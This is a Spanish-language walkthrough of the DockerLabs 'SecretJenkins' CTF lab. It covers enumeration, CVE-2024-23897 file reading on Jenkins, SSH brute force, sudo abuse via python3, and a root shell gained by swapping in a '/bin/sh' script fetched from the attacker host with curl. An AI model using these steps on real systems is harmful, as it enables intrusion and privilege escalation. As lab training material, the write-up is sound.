SecretJenkins - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | ElPinguinoDeMario |
Reconocimiento
Tenemos el puerto 22 y el puerto 8080 abiertos.
Puerto 8080
Exploramos el puerto 8080 y encontramos una página de inicio de sesión de Jenkins.
Realizamos un reconocimiento con gobuster y encontramos varias rutas.
Descubrimos la ruta /Index que muestra dos usuarios.
Gobuster también encontró la ruta /main.
Esta ruta nos muestra la versión de Jenkins, lo que nos permite buscar exploits.
Encontramos un exploit en GitHub - CVE-2024-23897. Esta versión de Jenkins es vulnerable a un LFI.
Ejecutamos el script del exploit y podemos ver archivos del sistema. Listamos el contenido de /etc/passwd para ver los usuarios existentes.
Encontramos los usuarios pinguinito y bobby. Realizamos un ataque de fuerza bruta para encontrar la contraseña por SSH y logramos encontrarla.
Para el usuario bobby, la contraseña es chocolate. Iniciamos sesión en SSH.
Ejecutamos sudo -l y vemos que podemos escalar privilegios a pinguinito utilizando python3.
Ahora somos pinguinito. Ejecutamos sudo -l de nuevo y descubrimos que podemos ejecutar un script como root sin proporcionar la contraseña. Inspeccionamos el script.
Eliminamos el script de /opt y creamos uno nuevo en nuestra máquina atacante que abrirá una terminal con el siguiente código:
import os
os.system("/bin/sh")
Subimos el script a la máquina víctima de la siguiente manera:
En la máquina atacante:
python -m http.server 80
En la máquina víctima:
curl -O http://172.17.0.2
Ejecutamos el script como root y obtenemos una shell como root.